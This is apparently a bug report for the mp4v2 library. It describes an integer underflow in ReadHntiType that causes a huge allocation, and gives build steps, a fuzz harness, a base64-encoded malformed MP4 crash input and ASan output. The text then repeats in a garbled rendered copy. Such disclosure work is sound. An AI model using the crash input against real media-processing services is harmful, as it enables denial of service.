Describe the bug
When an rtp atom is a child of an hnti container, mp4v2 calls MP4RtpAtom::ReadHntiType() to read the SDP text. It first reads a 4-byte descriptionFormat property via ReadProperties(0, 1), then computes:
/* src/atom_rtp.cpp:128 */
uint64_t size = GetEnd() - m_File.GetPosition();
where GetEnd() is the absolute end offset declared in the atom header. If an attacker declares the rtp atom so small (e.g. a size field of just 8, i.e. header only) that the read position ends up past the atom's declared end after consuming those 4 bytes, GetEnd() - position underflows to a huge value (~2^64). The code then calls MP4Malloc(size) (src/mp4util.h:56) with that underflowed size, and ASan aborts with allocation-size-too-big (requested allocation size 0xfffffffffffffffd).
To Reproduce
-
Build mp4v2 with ASan + UBSan:
git clone https://github.com/TechSmith/mp4v2.git
cd mp4v2
git checkout 6727d3c5faaf8b9db9214127f6e6d9e5e8cf95c1
mkdir -p build && cd build
cmake -DMP4V2_BUILD_SHARED=OFF \
-DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer -g" \
-DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer -g" \
..
make -j"$(nproc)" mp4v2
-
Save this minimal harness as fuzz.cpp (feeds the MP4 bytes through mp4v2's memory-backed MP4FileProvider into the full atom parser):
#include <mp4v2/mp4v2.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct MemFile { const uint8_t* data; int64_t size; int64_t pos; };
static const uint8_t* g_data; static size_t g_size;
static void* provider_open(const char* name, MP4FileMode mode) { (void)name;(void)mode;
MemFile* f = (MemFile*)malloc(sizeof(MemFile)); f->data = g_data; f->size = (int64_t)g_size; f->pos = 0; return f; }
static int provider_seek(void* h, int64_t pos) { ((MemFile*)h)->pos = pos < 0 ? 0 : pos; return 0; }
static int provider_read(void* h, void* buf, int64_t size, int64_t* nin, int64_t max) {
(void)max; MemFile* f = (MemFile*)h; *nin = 0;
if (size <= 0 || f->pos >= f->size) return 0;
int64_t n = f->size - f->pos; if (size < n) n = size;
memcpy(buf, f->data + f->pos, (size_t)n); f->pos += n; *nin = n; return 0; }
static int provider_write(void* h, const void* b, int64_t s, int64_t* n, int64_t m) { (void)h;(void)b;(void)m; *n = s; return 0; }
static int provider_close(void* h) { free(h); return 0; }
static int64_t provider_size(void* h) { return ((MemFile*)h)->size; }
int main(int argc, char** argv) {
if (argc < 2) return 1;
FILE* f = fopen(argv[1], "rb"); if (!f) return 1;
fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
uint8_t* buf = (uint8_t*)malloc((size_t)sz);
fread(buf, 1, (size_t)sz, f); fclose(f);
g_data = buf; g_size = (size_t)sz;
MP4FileProvider p; memset(&p, 0, sizeof(p));
p.open = provider_open; p.seek = provider_seek; p.read = provider_read;
p.write = provider_write; p.close = provider_close; p.size = provider_size;
MP4FileHandle h = MP4ReadProvider("fuzz.m4a", &p);
if (h != MP4_INVALID_FILE_HANDLE) { MP4Dump(h, false); MP4Close(h, 0); }
free(buf);
return 0;
}
-
Compile and write the exact 607-byte crash input. The base64 string below round-trips to the byte-identical crash input (an MP4 whose moov/trak/mdia/minf/stbl/stsd contains an hnti container with an undersized rtp atom):
clang++ -std=c++11 -O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer \
-I include fuzz.cpp libmp4v2.a -o mp4v2_read_fuzzer -lpthread -lm
printf 'AAAAFGZ0eXBpc29tAAACAGlzb20AAAJLbW9vdgAAAGxtdmhkAAAAAAAAAAAAAAAAAAAD6AAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAZF0cmFrAAAAXHRraGQAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAEtbWRpYQAAACBtZGhkAAAAAAAAAAAAAAAAAAAD6AAAAABVxAAAAAAAIWhkbHIAAAAAAAAAAGhpbnQAAAAAAAAAAAAAAAAAAAAA5G1pbmYAAAAcaG1oZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJGRpbmYAAAAcZHJlZnN0YmwAAAA0c3RzZAAAAAAAAAABAAAAJHJ0cCAAAAAAAAAAAQABAAEAAAIAAAAADHRpbXMAAAPoAAAAGHN0dHMAAAAAAAAAAQAAAAEAAAAoAAAAGHN0c3oAAAAAAAAAAAAAAAEAAAAQAAAAHHN0c2MAAAAAAAAAAQAAAAEAAAABAAAAAQAAABRzdGNvAAAAAAAAAAEAAAJ3AAAARnVkdGEAAAA+aG50aQAAADZydHAgc2RwIHY9MA0Kbz0tIDEgMSBJTiBJUDQgMTI3LjAuMC4xDQpzPXNlc3Npb24NCgAAABhtZGF0AAAAAAAAAAAAAAAAAAAAAA==' | base64 -d > poc.m4a
-
Run it:
./mp4v2_read_fuzzer poc.m4a
ASan output:
==309629==ERROR: AddressSanitizer: requested allocation size 0xfffffffffffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
SUMMARY: AddressSanitizer: allocation-size-too-big ... in malloc
Exit code 1.
Expected behavior
ReadHntiType should validate that the rtp atom size is large enough before computing size = GetEnd() - position and calling MP4Malloc(size). An undersized rtp atom should be rejected with an error instead of requesting a ~2^64-byte allocation.
Screenshots
Please complete the following information:
- OS: Linux x86-64 (Ubuntu 22.04)
- mp4v2 version: 2.0.0 (commit
6727d3c5faaf8b9db9214127f6e6d9e5e8cf95c1)
Additional context
- Deterministic: yes — the same 607-byte input always triggers the ASan
allocation-size-too-big abort.
- Root cause: integer underflow in
MP4RtpAtom::ReadHntiType (src/atom_rtp.cpp:128) feeding MP4Malloc (src/mp4util.h:56) with an attacker-controlled, underflowed size.
- Reachability: any MP4 whose parse tree reaches an
hnti container with an rtp child reaches this code (rtp/hint tracks).
- Severity: high. The attacker fully controls the allocation size; in a build without ASan this is an uncontrolled
MP4Malloc request that aborts or fails allocation.
- CWE-190 (Integer Overflow or Wraparound) → CWE-789 (Uncontrolled Memory Allocation).
Describe the bug
When an
rtpatom is a child of anhnticontainer, mp4v2 callsMP4RtpAtom::ReadHntiType()to read the SDP text. It first reads a 4-bytedescriptionFormatproperty viaReadProperties(0, 1), then computes:where
GetEnd()is the absolute end offset declared in the atom header. If an attacker declares thertpatom so small (e.g. a size field of just 8, i.e. header only) that the read position ends up past the atom's declared end after consuming those 4 bytes,GetEnd() - positionunderflows to a huge value (~2^64). The code then callsMP4Malloc(size)(src/mp4util.h:56) with that underflowed size, and ASan aborts withallocation-size-too-big(requested allocation size 0xfffffffffffffffd).To Reproduce
Build mp4v2 with ASan + UBSan:
Save this minimal harness as
fuzz.cpp(feeds the MP4 bytes through mp4v2's memory-backedMP4FileProviderinto the full atom parser):Compile and write the exact 607-byte crash input. The base64 string below round-trips to the byte-identical crash input (an MP4 whose
moov/trak/mdia/minf/stbl/stsdcontains anhnticontainer with an undersizedrtpatom):clang++ -std=c++11 -O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer \ -I include fuzz.cpp libmp4v2.a -o mp4v2_read_fuzzer -lpthread -lm printf 'AAAAFGZ0eXBpc29tAAACAGlzb20AAAJLbW9vdgAAAGxtdmhkAAAAAAAAAAAAAAAAAAAD6AAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAZF0cmFrAAAAXHRraGQAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAEtbWRpYQAAACBtZGhkAAAAAAAAAAAAAAAAAAAD6AAAAABVxAAAAAAAIWhkbHIAAAAAAAAAAGhpbnQAAAAAAAAAAAAAAAAAAAAA5G1pbmYAAAAcaG1oZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJGRpbmYAAAAcZHJlZnN0YmwAAAA0c3RzZAAAAAAAAAABAAAAJHJ0cCAAAAAAAAAAAQABAAEAAAIAAAAADHRpbXMAAAPoAAAAGHN0dHMAAAAAAAAAAQAAAAEAAAAoAAAAGHN0c3oAAAAAAAAAAAAAAAEAAAAQAAAAHHN0c2MAAAAAAAAAAQAAAAEAAAABAAAAAQAAABRzdGNvAAAAAAAAAAEAAAJ3AAAARnVkdGEAAAA+aG50aQAAADZydHAgc2RwIHY9MA0Kbz0tIDEgMSBJTiBJUDQgMTI3LjAuMC4xDQpzPXNlc3Npb24NCgAAABhtZGF0AAAAAAAAAAAAAAAAAAAAAA==' | base64 -d > poc.m4aRun it:
ASan output:
Exit code 1.
Expected behavior
ReadHntiTypeshould validate that thertpatom size is large enough before computingsize = GetEnd() - positionand callingMP4Malloc(size). An undersizedrtpatom should be rejected with an error instead of requesting a ~2^64-byte allocation.Screenshots
Please complete the following information:
6727d3c5faaf8b9db9214127f6e6d9e5e8cf95c1)Additional context
allocation-size-too-bigabort.MP4RtpAtom::ReadHntiType(src/atom_rtp.cpp:128) feedingMP4Malloc(src/mp4util.h:56) with an attacker-controlled, underflowed size.hnticontainer with anrtpchild reaches this code (rtp/hint tracks).MP4Mallocrequest that aborts or fails allocation.